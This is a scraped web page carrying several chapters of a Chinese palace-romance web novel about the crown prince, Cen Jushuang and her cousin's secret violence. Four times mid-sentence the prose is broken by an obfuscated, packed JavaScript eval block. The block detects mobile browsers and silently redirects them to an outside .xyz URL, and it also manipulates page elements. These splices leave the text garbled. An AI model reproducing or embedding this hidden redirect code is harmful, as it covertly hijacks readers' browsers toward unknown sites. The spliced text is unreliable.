太子低着头,细细吮丨吸着岑拒霜手心的伤口,犹如林中的野兽会为受伤的同伴舔舐。 岑拒霜看着他,那向来高傲自威的头颅近在眼前,天光描摹出他俊美无俦的轮廓线,自眉骨至鼻梁,锋挺似剑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814244|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她忽的想起草原上傲视群雄的头狼,也是如此威风凛凛,英姿勃发。 儿时她听惯了边关传说,不外乎是关于恶狼叼走小孩食之的故事。很长一段时间,岑拒霜怕得不敢入睡,唯恐夜半有狼闯入屋中,把她叼走食之。 直至父亲把她带去狼群出没的之地。 那会儿她抱着父亲的胳膊,缩在角落里偷看结伴的狼群。草原的夜空明彻如昼,星子透亮似水,即使不着灯,岑拒霜也能看清在浅草间飞驰的狼群。 她一眼便认出了立于群首的头狼。不似传闻里形如恶煞,头狼凶猛彪悍,引领着狼群捕食猎物,既英武又强大。父亲告诉她,头狼是整个狼群的核心,它肩负着保护和领导族群的责任,可以说狼群的团结皆是头狼主导之下才会有的。 头狼也不会蠢到带着狼群主动攻击人的居所,除非它们被逼到绝境,难以生存,否则像什么叼走小孩的故事,是不会发生的。 父亲还摸着她的头说,有时候,与野兽为邻的草原往往比尽是人所在的地界更安宁。 自那时起,岑拒霜对狼这样危险而英武的动物少了几分畏惧,多了分欣赏。 当然,这样的欣赏是保持在安全距离的前提下。 此番太子近在咫尺,她生出一种奇妙的感觉,那只头狼似是乖巧地俯在了她身前,任由她细看。岑拒霜鬼使神差地伸出尚是能够活动的左手,摸了摸太子的额头,还往着他如墨的乌发顺手向后捋了捋。 却是右手手心倏地传来利齿啃咬的刺痛,岑拒霜疼得吸了口冷气,当即抽回了左手。 便听太子的嗓音怪异,“你活得不耐烦了?” 岑拒霜陡然回过神来,她蜷起左手指尖,讪讪笑了笑,“殿下的额头上有脏东西……臣女帮您弄干净了。” 她按捺住骤然加剧的心跳,自己定是疯了,她怎么敢去摸太子的头的? 不远处,玄序抱着剑瞄了眼,紧忙回过头。 他眼皮狂跳,这若是换了旁人,都等不到殿下发问,就已经人手分离了。 好在太子似乎没有计较她的冒犯,岑拒霜见他松了口气,手心的伤也不再疼痛,余有的感官剩下了磨人的滚烫,像是整只手被放在了高温难耐的火炉里,还有他以舌缓缓逗留在她伤口湿黏痕迹,反复舔来舔去的感觉迟迟不散。 她尚未从这感官里挣脱出来,又见他的指节缘着她的手腕往上,还没等她看清,太子已是拽着她的衣袖猛地撕下一截,他捻着撕扯下的长条缎子,三下五除二地便将她的手心包扎完毕。 她摊开包好的右手,尤觉新奇地晃了晃,血似乎还真的止住了。 且太子包扎得还算平整,那缎子在她的手背打了一个小小的花结,远远瞧去,还以为今日她别出心裁,在自己手背处缚了一个小装饰。 心底泛起丝丝感动,岑拒霜看着太子都觉着眉目可亲起来。 细想下来,太子除了偶尔气人了些,对她下手重了些,至少他拉着自己跑出了那将要坍塌的宿和宫,还帮自己止血。 虽说这些行径许是他觉着好玩,甚至是为了弥补上回他没有尝到她的血的遗憾,但总的来说,太子还算有点良心。 “多谢。” 她难得给了太子一个真情实意的笑,低头之时,岑拒霜瞥见自己破了一截的衣袖,乱糟糟的线头散在白嫩的手臂处,她又问太子,“但为什么是撕我的衣服……” 话落时,岑拒霜只见太子一脸疑惑地看着她,不用等他说出口,岑拒霜的脑海里已是浮现出他想说的话——“难不成要撕孤的?” 太子掸了掸衣袍上的细微尘土,“孤需要时时刻刻维持完美。” 岑拒霜:“……” 这人有点良心,但不多。 15. 当狗 眼前一抹黑色的影子跃过,玄序已显出身形来,躬身向太子禀报。 “殿下,长云殿传来口谕,要您和岑姑娘一道前去。” 岑拒霜极为意外,“为何传召了我?” 即便是因为宿和宫险些倒塌一事,皇帝传召太子过问,也不必特意叫她也去吧? 玄序答道:“口谕没说。只道,‘若姑娘跟殿下在一起,就一并相传’。” “好吧。” 岑拒霜不知皇帝传召于她是为何意。 她所知的是,当今圣上是位宅心仁厚的明君,朝野四海繁荣之象离不开其励精图治,百姓们对之极为崇敬,她少时也曾入宫面圣过两回,却因年纪太小,对皇帝本人没什么印象。 唯有的记忆是,年少入宫时,父亲望着那高高的宫墙,弯下腰告诉岑拒霜,他们岑家拥有的一切,都是这宫墙里的至尊之人所给的,皇帝护着岑家,岑家就要为皇帝守好边关那道防线,疆域内的百姓安危由岑家守卫,天下兴荣则由皇帝维持。 那时她还懵懵懂懂,不知何意。 被叔父接到京城的那两年,岑拒霜常有驻足府门,瞧着长街上往来的人影,他们阖家笑语连连,一户接连一户,那些个孩提肆意在至亲面前撒娇,她心生艳羡,也尤为伤怀。 京中传颂,她的父母都是顶天立地的大英雄。 可她偶尔也在想,她不想要什么大英雄,只想有父母在旁,可以抱一抱自己。 她比五年前又长高了一截,如今扑到父亲怀里会是在父亲的胸口还是肩膀?她的头发也比从前长了好许,母亲会为她梳什么样式的发髻? 想到这些,岑拒霜鼻尖发酸得厉害,明明春日的暖阳不算灼人,却也烤得她双眼发烫。 正当此时,一个突兀的声线搅乱了思绪。 “殿下不能碰她!” 薛映萱不知何时与乌泱泱的一群人出现在此,只见她抬起袖直直指着岑拒霜,“她,她身上的病气会传染给人的!” 听清薛映萱所言后,岑拒霜眉梢微横,也顿时明了这接连两次的宴会,一众为何对她避之不及。 她只是瞥了薛映萱一眼,没有作声。 适才忆及父母,她心绪不佳,无心去辩驳解释什么。 耳畔吵吵嚷嚷不休,皆是众人七言八语地说着她身上病气染人的事。 心头的烦躁越盛,岑拒霜冷眼看着他们,上前走了半步,只是这一小小距离,众人便已脸色微变,纷纷如潮水般往后退去,生怕她会报复他们朝其扑来。 太子正是移步朝长云殿的间隙,他对这突然冒出来的一群人不感兴趣,惯来懒于搭理,但他迈出几步后,太子瞄了眼自己空空如也的手边,他又驻足回头,望着杵在原地的岑拒霜。 “不走要作何?” 岑拒霜没想到太子竟会等她,她茫然地看着他,一时忘了跟上。 “真是麻烦。” 太子皱眉说着,他已折身几步回到原地,伸手拉住了岑拒霜的左手便走,赤条条地无视了立在一边鹌鹑似的一众。 众人死死盯着那对交叠的手,惊颤不已,薛映萱面容呆滞,仍在难以置信地喃喃着,“碰不得的……” 待太子与岑拒霜身影远去后,玄序拦住了将要散去的一众。 “烦请诸位,回去转告宴上的宾客们,岑姑娘的病症并不会染人,勿要再传谣。” 玄序说话不紧不慢,面色也平和,瞧着客客气气的,道出的话却分外的重,“这是殿下的谕令,东宫的御医也为岑姑娘诊看过。诸位,若是信不过东宫的御医,可以至陛下跟前求证。” 众人听后面面相觑,有太子作保,谁会不要命似的为了此事,跑去皇帝面前求证呢?须臾间,一众口中连连“自是信的、信的”,又一再纷纷拨浪鼓似的摇着头,摆手表示“没传过”。 玄序点点头,俯首拜着,“那便有劳各位澄清此事了。” * 岑拒霜至长云殿时,空荡荡的殿内唯有叔父坐于案旁用茶,高台上的金座空空如也,座旁一个年迈的老太监微躬着腰,双手拢于袖中,远远地朝着太子行礼。 太子的视线落至高台处的双鹤衔松座屏,面色掠过一丝不耐。 一见到岑拒霜,岑侯爷将手里的半盏茶搁置在案,直直站起身。 “叔父!” 岑拒霜三步并作两步上前,扑在了叔父怀里。 许是先前心绪低落,再见叔父时,她的眼睛有些发涩。 这五年来叔父把她当作亲女儿养在府上,甚至时时在意她的心绪,把很多关于父母的东西都收了起来,避免让她为父母的事情伤怀。这些她都看在眼里,也好几次躲在门后听到叔父问府里婆子怎么哄她开心。 岑拒霜敛下眼,抱着叔父愈紧。 岑侯爷抚着她的脊背,他自是感受到了岑拒霜两只细弱的胳膊抱得比平常用力,格外粘人。 他瞄了眼几步之外的太子,心里有了数。 定是太子把小霜给欺负了,吓着了她! 那些外面传言也不知是怎么流传出来的,离谱到没边。 直到岑拒霜松开手抬起脸来,岑侯爷细细打量了她一番,确认她无事后才松缓下焦灼的神经。 看来他得尽快落实小霜的婚事了,她身边确实需要一个稳重细心的人照顾她,以免她被什么人欺负了去。 岑拒霜问道:“陛下传召是为何事?” 岑侯爷没有多说,“无事,是叔父寻不到你,一时心急,便托陛下将你寻来了。” “侯爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此番太子半卧在弥勒榻处,双臂枕在脑后,墨黑的皮靴交叠着踩在一旁,“孤可没有打算要太子妃,您还是别乱点鸳鸯了,点一个,孤杀一个。” 皇帝走了出来,抬手理着冕冠,老太监跟在其后捋着衣袍大带,“确实是朕误会。那外面传着,你为了一女子当狗,朕就是想看看。” 太子嘁了一声,冷笑道:“孤怎么可能给女人当狗?” 皇帝盯着太子不以为意的神情,点点头,“虽是误会,朕也问过了,不涣的小侄女已有了婚约,听说她的未婚夫还待她极好,两人青梅竹马,感情也不错。朕不会做棒打鸳鸯的事,你若是喜欢,朕还头疼去了。” 太子偏过头,眼神幽幽,“未婚夫?” 16. 相帮 天尚未晚,曲水亭边已聚满了人,宾客踏着落英往来,零落的芬香就着各色足履四处飘散。 岑拒霜早早的随叔父入了席间坐着,先前体力消耗得不少,她也无力再折腾什么,索性乖乖呆在席间,以免叔父分神担心她。 她的席位由宫人接引落座,岑拒霜被流岚搀进座时,只见席位案处摆放的花形水晶碟里,多了一盘堆叠的透花糍。她本以为是宫人错放了,宫人却笑着说是东宫的厨子多做的。 太子的安排? 岑拒霜警惕地望着那雪白透粉的糕点,忍着舌底生津想要一口咬住的冲动,她捻起透花糍,从中对半掐开,只见里头唯有细腻的豆沙,缘着晶莹糯白的皮儿缓缓流下,没有别的奇怪东西。 “这透花糍可是不合拒霜的胃口?差人换一份便是。” 岑拒霜循声瞧去,便见宁妍不知何时来了。 她笑着对宁妍道:“透花糍好吃的。我就是一时生奇,扒开看看和府上做的有什么不同。” 此前她回曲水亭时已遇见了宁妍,得知宁妍在宿和宫寻不到她而担心了好久,岑拒霜摸着荷包里还没吃完的零嘴,心里生出一片暖意。 回宴上后,那些原本嫌弃排挤她的人态度都转了十八弯。虽不知缘由何在,但有些贵女同她交好,热络的痕迹刻意得过了头,岑拒霜看得出这样的转变,与同她一起的宁妍有关。 依着宁妍的脾性,若还有人不长眼地贴过来胡乱说些话,宁妍是一点情面都不会留的。 可她并未澄清过自己身上的病气不会染人,这样遍及所有人的传言如何被解释的,岑拒霜问及宁妍时,后者却满面惊色,“竟有这样的谣言?赏春宴我到林苑时已晚,不曾见到拒霜,是哪个混账东西有此居心害你?” 故这件事的助力者,岑拒霜想不通是谁。 她小口咬着指尖的透花糍,细细尝着溢满舌尖的清甜,脑海里一闪而过太子的面容。 会是太子吗? 岑拒霜很快打消了念头。 太子除了捉弄她,从来不会做多余的事情,这样“澄清谣言”的事在他眼里兴许是一件“无聊且无意义的事”。 半道宾客多了起来,往来人影憧憧,耳畔嘈杂不休,岑拒霜觉着席间有些闷,便起身偷偷溜到了外面透气。 满园春色里,目光所及之处,繁花缀满了亭台楼阁,微风轻拂之下,掠动的花影似是织成的锦衣,姹紫嫣红。百花宴以“百花”为名,便是皇帝年年皆会于曲水亭一带精心布置,供入宴的宾客观赏。 听说昭贤皇后生前是爱花之人,皇帝曾为博美人一笑,搜集了不少名花稀物,变着花样日日赠予昭贤皇后。昭贤皇后怜惜名花闭于宫墙朱门里,只她一人可观,便又设百花宴于宫中,广邀各家赏鉴。时至今日,皇帝仍延续着设百花宴的习惯。 此间岑拒霜走到了一座花荫处,呼吸间沁香扑鼻,她轻阖上眼,深深吸了口气,却觉那隐隐幽香里,掺杂了丝丝缕缕的熟悉焚香。 她蓦地睁开了眼。 太子的面庞撞入视野,昏暗的光色下,那对含着的幽光眸子异常明亮,也极为危险。 岑拒霜想起长云殿里太子孤高的模样,不免觉得局促难安。她攥紧衣裙一角,目光闪躲,干笑了两声,“殿、殿下怎么在这里?” “孤不在这里,该在哪里?” 太子话落时,岑拒霜听得身后传来一姑娘嗓音。 “岑妹妹!” 她回过头去,只见一紫衫襦裙,头梳飞天髻的小姑娘,探头探脑地从垂落的枝蔓下走来,确认此处逗留的人是岑拒霜后,小姑娘的眉梢掠上了喜色,说话时尾音也含着惊喜,“岑妹妹,可算找到你了。” 岑拒霜认出这小姑娘是为方九郎的妹妹,方妙嫣。 方妙嫣的嫡母管束严格,小姑娘鲜有外出,素日在家习琴棋学诗礼,性子也比京中各贵女内敛许多,每每赴宴,皆会怯生生地躲在人群之后。 先前宿和宫一行里,方妙嫣听说那寝宫诡异后,第一时间拒绝了她的哥哥方九郎之请。 此间方妙嫣红着个小脸走来,像是寻了她良久,岑拒霜有些疑惑,“方姑娘?” “啊!”方妙嫣看清岑拒霜身旁的太子后,脸色惨白,她先是诧异地反复看着岑拒霜和太子之间,随后磕磕巴巴地给太子行了一礼,甚至因太过慌张,那行礼的姿势都乱了套。 她先前见着岑拒霜在花荫下,根本没能瞧见这转过弯的暗影下还站了一人,方妙嫣嗫嚅着话,“给,给太子殿下请安。不知太子殿下在此,臣女这就离去……” 岑拒霜见着方妙嫣那张小脸皱巴得都快哭出来了,而一旁的太子似是没有听到方妙嫣说话,径自无视了她,这让本就不知所措的方妙嫣更加惊恐起来,期期艾艾地说不出话。 岑拒霜只好拉着方妙嫣的手,安抚着她,“没关系,就在这里说吧,方姑娘找我何事?” 方妙嫣偷眼瞧着太子未动怒或怪罪她什么,这才安下心,朝岑拒霜凑近低声道:“听说……江公子没来此次宫里的百花宴,我母亲又将我看得紧,难有机会与江公子会面……而明日便是花朝节,我这小小心意,定要赶在今日送至才行。” 言罢,方妙嫣从袖里拿出一个绣着兰草的香囊,递与岑拒霜。 岑拒霜接过那香囊,摸着其上精致的绣面,才知原来方妙嫣是为了表哥而来。后者提起江逾白时,脸颊便泛起潮红,郑重其事地把香囊给她时,面上羞涩流转,其间意味不言而喻。 方妙嫣笑得腼腆,“九哥最是爱取笑人,我不敢将这香囊交与九哥,故只好托付岑妹妹,有劳妹妹今日交给江公子。” 岑拒霜点点头,“好,方姑娘放心,我定会亲手送到他手上。” 方妙嫣心满意足地离去后,太子始才出声。 “孤还不知,你这么大方?” 岑拒霜暗自奇着,不过顺趟送个香囊,举手之劳,有什么不能帮的?谈何大方? 她将香囊小心收好,一并应着话,“那是殿下从前都小看臣女了。” 太子盯着她的动作,眼底掠过一丝窥探的意味,“是个人都看得出,那谁喜欢你表哥。” 方妙嫣喜欢她表哥又如何?她有这么个备受欢迎的表哥,放在别人身上都是会感到骄傲自豪的。 岑拒霜不解太子想说什么,她顺着话便说了下去,“这京城里人人皆知,我哥哥芝兰玉树,渊清玉絜,是世家公子里最出挑的,不论出身样貌还是品行学识,都无可挑剔,是个姑娘都会喜欢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814246|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京中的宴会她虽然少有去过,但关乎表哥的事迹她也知悉一二。若是谁家宴会请了表哥前去,每每表哥至宴上时,京中贵女们便会望风而动,挨着挤着去看表哥,香红与绢帕往往是投掷一地,密密麻麻堆满了表哥的脚边,走也走不动。 因此后来表哥赴的宴会越来越少,多数时候是在家中闭门温习。上回在林郊东园的赏春宴,若不是岑拒霜头一次赴宴,表哥这才接了薛家的请帖。 此番听闻岑拒霜侃侃所言,太子偏过头,“如此说来,孤倒是更放心不下了。” 那语气不像是在戏弄于她,岑拒霜满头雾水,“放心不下什么?” 太子答道:“你。” 岑拒霜心头一紧,她抬起眼,花荫下摇动的光点落在太子棱骨分明的面庞上,层层叠叠的花影流过那对瑞凤眼,狭长的眸子定定看着她,极为认真,仿佛有着摄人心魄的能力,她忽觉怎么也挪不开眼来。 心尖不知名的情绪乍然蔓延,蓦地紧跳了一下,像是紧张,又像是快要病晕过去的前兆。 她强忍着晕乎乎的感觉,好一会儿才找到措辞,“臣、臣女受宠若惊……惶恐不已……” “你确实该惶恐,” 太子漫不经心地说着,“孤思来想去,始终放心不下,你会否把孤和你的秘密泄露给江逾白。” 岑拒霜一怔,旋即反应过来太子在说什么,她斩钉截铁地答道:“我自是没有告诉过任何人。” 太子紧追不舍,眸中闪烁的幽光森然,“你如何作保?” 岑拒霜望着他恣睢渐露的面容,她知若自己的回答不能令太子满意,谁也不敢保证,这只乖戾无常的凶兽会不会扑上来一口咬死自己。 “臣女若对外泄漏了半个字,那臣女愿随殿下处置。” 太子凝视着她的面庞,目光便不受控制地往下,落在那一绺青丝后的雪白脖颈,“怎么处置也行?” “是。” 岑拒霜说完,便觉浑身发冷得厉害。她的脑海里已冒出许多太子折磨人的法子,那些锋利的刀尖一下下落在自己身上,缓缓剥开血肉、剔着骨头,把自己拆解成零碎的一块又一块,痛不欲生。说不定太子还会给她留一口气,日日笑着看着自己。 至于同感的蛊,太子说他喜欢疼,以他这样变态,定也是享受的。 想到这些,她徒劳地呼了口气,扭过头抬手掩面,猛烈咳嗽起来。 “咳咳咳……” 岑拒霜几近是用尽所有的力气,咳得灵台发昏,想来自己脸色应当也惨白得厉害,她才晃悠悠地转过身看向太子,虚弱地说着,“殿下,臣女身体不适……先回席歇息了。” 她说完便要起身离去,却是还未踏出席位半步,岑拒霜只觉自己的肩膀处多了一只骨节分明的大手,那指尖透过薄薄的衣衫,紧紧捏住了自己的锁骨,热意就此从徐徐摩挲的位置传来,岑拒霜觉得一阵酥麻,动弹不得。 岑拒霜不知所以地回过头,但见太子兴意极佳,他低垂着头靠近,其耳边长长的碧翠雀翎拂动,尾羽轻轻扫过她的鼻尖,痒意自脸庞散开。 太子勾起唇角,笑得邪肆,“看在你守口如瓶的份上,孤告诉你一个好消息,你的那位好哥哥,不是什么好东西。” 17. 出宫 岑拒霜愣在了原地。 好消息?她的哥哥不是好东西,这是哪门子的好消息? 她一时不知太子又想做什么,但思及太子所言,岑拒霜心生恼怒。 表哥待她极好,甚至到了无可挑剔的地步,就连叔父也极为认可表哥的细心体贴。 这五年来,她百无聊赖时,表哥教她习字作画,为她耐心讲解书上的种种;她心情烦闷时,他会彻夜抚琴于她,哄她入睡;她发病难受时,他寸步不离,亲自熬汤煎药…… 这些为她而做的事数不胜数,更不提表哥本人。 当下表哥却遭此诋毁,岑拒霜对着太子脱口而出,“我看你才不是什么好东西!” 话落后,岑拒霜猛然反应过来。 她骂的不是旁人,而是掌握着绝大多数人的生杀大权,脾气还不那么好的太子。 岑拒霜这下才知什么叫做祸从口出了,她埋着头,半敛下眼不敢看向太子的神情,揪紧了衣袖攥在手心里打圈,因太过用力,右手手心包扎的布条勒得她伤口愈发疼痛,岑拒霜都像是感觉不到一般,唯有心跳慌张得跳动如鼓点,越发急促。 她暗自捣鼓着道歉的话,小声说着,“臣女不是……” 话还未完,只见太子俯首而近,那张面容撞入她的视野,他扬起昳丽的薄唇,理所应当地说着,“毕竟孤才是这世上最完美的人,除孤以外,没有什么好东西。” 岑拒霜:“……” 她怎么给忘了,太子这只自恋的大花孔雀怎会容忍别人在他面前说旁人好? 岑拒霜冷静下来后,找个由头离开了曲水亭。 方妙嫣的香囊需在今日送到表哥手里,而百花宴结束后她便要随叔父回府,届时天色已晚,叔父定不会允她再去往别处。 思忖再三,岑拒霜偷偷溜出了百花宴,准备赶在宴会结束前送完香囊折返。 不想到了宫墙边,府上的车夫说什么也不肯带她出去。 岑府马车停靠处,车夫攥紧了缰绳,愁眉苦脸地对岑拒霜道:“姑娘,侯爷交代了,百花宴结束前您哪里都不能去。只待宴会结束,您和侯爷一道回府。” 岑拒霜蹙起眉,“我去趟表哥家中送东西,不过半个时辰就回,宴会结束后我照旧与叔父回府,有何不妥?” 车夫只道:“姑娘,没有侯爷的命令,小的不能带您离开皇宫。” 岑拒霜见状也不再为难于车夫,闷声不响地往回走。 她既是答应了方妙嫣,便万万不能失约。 可没有马车出宫,她又该怎么前去表哥那里呢? 岑拒霜叹了口气,也怪自己近两次出门赴宴,都意外出现了府上的人没法寻到她的情况,所以今时叔父放心不下自己,对她看管严格了些。这会儿她哪怕回宴会去求叔父让自己出宫,也不见得叔父会答应她。 她垂头丧气地走着,越觉苦恼。 忽见不远处,两旁朱墙屹立的青石路处,宫人们抬着一座金帐锦纹轿辇走了过来,旋即周旁的侍卫纷纷揖首行礼。 金帐里坐着的是为太子无疑,岑拒霜还未及思考太子怎的出现在此处时,轿辇在她身前停了。 竹节般分明细长的手指拨开金帐,垂落的大袖后,是太子那张俊逸的脸。 太子原本高束起的发变作了半披式,他不知何时也换了一身衣裳,深红间黑的衣袍无多修饰,衬得他的皮肤更为净白,往上戴着的耳坠也变换了样式,暗红的血玉流转着莹润光泽,添了一抹邪魅的妖异。 他挑了挑眉,“上来。” 岑拒霜眼前一亮,趁着宫墙根儿处的车夫还未注意到她,紧忙登上了太子的轿辇。 “还请殿下带臣女出宫一趟。” 她没有可借助的工具出宫,当前太子不就是最好的借助吗? 轿辇逼仄,容下二人已是有些紧张,岑拒霜匆忙上了轿辇,蹲在了一边。 随着金帐落下合拢,遮住了她的身形,但见自己散开的衣裙落至了轿辇外,岑拒霜尤为谨慎地抓起衣裙往里扯了扯,以免露出一丝马脚,叫人察觉。 太子坐于轿中,身形斜斜倚在扶手边,他单手肘撑着侧脸,垂眼看着岑拒霜正蹲在自己皮靴边。适才她整个人手脚并用地钻进了帐中,缩成的一团恰好到他膝盖的位置,他只需稍稍抬手,便能就着这一小团搓扁揉圆。 这个角度看她,还当真像一团活泼好动的小狸奴。 岑拒霜整理完衣裙后,仰起脸打量起了轿中光景。 狭小的空间里,因太子斜靠在一边,轿辇里本是足以二人同坐的位子,尽数被他一人占据。 她问道:“臣女……坐哪里?” 太子笑得玩味,“孤不介意你一直这样蹲着。” 此间轿辇已是被宫人抬起,摇摇晃晃之下,岑拒霜怎么也无法稳住身形,只觉自己是那江波里飘摇的小船,晕头转向地摸不着边。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814247|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识抱住了身前的东西,这才不至于被颠下轿辇。 只是她察觉自己紧紧抱住的这个东西生得修长结实,往上脸颊贴着的位置依稀有些温度,往下坚硬偏冷的皮革硌得她怀里不太舒服。 岑拒霜睁开眼,视线所及之处,是翻飞的玄色衣摆,里一层外一层的被撇在了一旁,男人朱红色的裤腿近在跟前,膝盖往下的地方都被她抱在了怀里。 ——她抱着的,是太子的腿。 眼下她像是八爪鱼一样缠在了太子腿上,说是严丝合缝也不为过。 “抱得还舒服么?” 太子的嗓音传来,岑拒霜慌忙松开手,不好意思地笑了笑,“……有点硌。” 她腹诽着,若不是你要我在这里蹲着,害得我摇来晃去,我至于错抱了你的腿么? 虽是这般想,岑拒霜看着扶手另端极窄的空处,暗示着太子,“臣女身子弱,经不起晃。” “哦,那这里没有别的位置可坐。” 太子说着,身形斜得更甚了几分,他抬起一只腿曲着放在了座上,姿态懒散地半卧着,整个位子没了半点空隙,他瞄了眼裤腿处的褶痕,拖长着语调,“除非——你坐孤的腿上。” 岑拒霜咬牙切齿,“殿下,您也可以稍微摆正一下的。” 她真想拿根擀面杖,把太子擀正掰直。 适逢轿辇晃悠着落了地,玄序在外禀报着,“殿下,马车备好了。” 金帐掀开,岑拒霜揉了揉发麻的腿,经由宫人的搀扶下下了轿辇,又换上了太子的马车。 太子的马车极尽奢华,四角系着的罕见宝石串连成了繁复的流苏,风一吹动便相扣得丁零当啷,所用帷裳皆是上等绸缎,连着车轱辘都缀满了金玉,映在天光下极为耀眼,如同太子本人一般,既招摇又浮夸。 随着车外挥鞭的声音落下,马蹄调着方向起了步。 百花宴上。 岑侯爷正是与多日未见的朝臣们打着交道,不时侧过身望向岑拒霜所在的席位,看着岑拒霜与宁妍等人交谈甚欢,他亦为岑拒霜在宴上交到好友感到欣慰。 只是这一小会儿,他被老友拉着多谈聊了半盏茶,正是说到“我家小霜啊,前些日子我生辰的时候,还亲手做了一根玉簪送我”。 岑侯爷折身回头,欲把老友带到岑拒霜跟前的间隙,忽见那席间空空如也,根本没有岑拒霜的影子。 岑侯爷的笑容就此僵滞,“小霜呢?” 18. 真假 天色渐晚,昏黄的霞光落在高高矮矮的楼台檐角,断断续续地透过飘动的车厢帷裳。 车轱辘的声响渐微,马车停在了一个人烟稀疏的巷尾。 岑拒霜掀起帷裳,探头瞧着车外的光景。这巷尾的灰墙爬满了裂痕,坑坑洼洼的泥地上尽是青苔,入眼的房屋破旧不堪,极为荒凉,怎么瞧着都不像是江府附近的繁华街巷。 她猫着腰钻出了车厢,“不是去江府么?这是何处?” 玄序利索地系好缰绳,将马车停靠在了一边,答道:“据探子来报,江公子今日不在江府。” 岑拒霜觉着奇怪,“你们弄错了吧?哥哥今日在家习课,至晚方休,怎可能不在府上?” 直至太子带着她七拐八绕地步至了一处隐秘的角落。 “公子,没有留下活口。” 前处的破屋里,一个男人的声音出现,岑拒霜认得,这是表哥身边的小厮。 她难以置信地循声看去,心底的猜疑渐渐浮出水面,她提起的心亦悬而未决,岑拒霜不自觉地屏住了呼吸,灵台陷入了一片空白。 她艰难地摇着头,一遍又一遍否认。 表哥怎可能骗她呢? 前些日,表哥亲口告诉她,江老爷子为他布置了课业,他需待在江府,百花宴便不能陪她前来。 因此表哥不可能在这里。 表哥也从来不会草菅人命。 这里面吩咐着“不留活口”的人,怎么可能是表哥? 江家子弟众多,小厮口中的“公子”,兴许是他人呢? 岑拒霜按捺不住急骤加剧的心跳,心里自说自话的劝慰反复回旋。 她往前迈了半步,这半步不知为何格外沉重,她单是挪动着身子,便似是抽干了所有力气。 只见朽掉了的门扇半挂在屋前,露出屋里站着的两个人背影。 除却小厮提着血色未消的刀,另一人长身玉立,惯来素净无尘的衣袍沾了点点血色,墨黑靴边,浓腻的血水不断蔓延,倒映着晦暗污色,浑浊不堪。 ——是江逾白。 天光勾出江逾白的侧脸,他正看着地上死去的尸体,眼神漠然,冷冽的面上不含半点温度。像是在看一根草、一块木,神色空然,没有一丝情绪浮现在他脸上。 好似剥夺他人性命的事情,在他手里已不是第一次。 岑拒霜心底最后一丝希冀被击溃。 她感到陌生,亦感到害怕。 她不受控制地往后退着,颤颤巍巍地想要离开时,不慎踩到了巷道里的落枝。 “嘎吱”的声响在这无人的破屋前极为清晰,岑拒霜还未反应过来,自己已被太子带走。 岑拒霜甚至不知自己是怎么又坐上了回皇宫的马车,只觉自己脑子里乱糟糟的一片,仿佛一团揉不清的乱絮,剪不断、理不尽,皆是表哥昔日与自己相处的种种,这些却与她适才所见极为不相容。 究竟哪一个才是真的?哪一个又是假的? 恍神之时,岑拒霜发觉耳畔喧嚷渐起,街边吆喝声络绎不绝。 她偏过头看向掀动的帷裳外,马车平缓行驶于热闹的街处,入目是为形形色色的人。 包子铺的老板端着冒着热气的蒸笼出锅,一旁戴着鬼面具的摊贩介绍着货架上漆红绘绿的小玩意儿,远处抱着花的稚龄小童奔跑着,屁颠屁颠追着客人卖花。 她望着攒动的人影,怔住了半刻,“这不是回宫……” 太子已出了车厢,“下来。” 岑拒霜来至街中时,接踵而至的游人如织,各种新奇的东西琳琅满目。 她从前便爱热闹,边关过节时,各家烹羊宰牛,围火煮酒,母亲都会抱着她一道欢聚庆祝;后来第一次回京,赶上京中最为隆重的上元节,她也不顾拥挤不堪的人潮,去夜市逛了好久。 只是后来被叔父接到京中养病,她闭门不出,也再未有繁华入眼。 换作平常,好不容易得来出门的机会,她定会满心欢喜地四处走个遍。 只是如今她看什么也恹恹的,提不起半分兴致。 “来来!投中一个,就能带走一个!要是有人能全投中,今儿个摊上所有东西,统统带走!” 耳畔传来一摊贩的吆喝,只见他身后摆放着不少精巧玩意,各式各样,应有尽有。 而每个小玩意身上都绑了一个草绳编织的环,摊贩拿着竹筒里的竹签,向逐渐围聚的百姓们演示着,他拿起竹签往草环里一掷,若有掷中,便可带走草环绑住的东西。 这竹签投于草环与投壶相似,又比投壶的规矩简化许多。 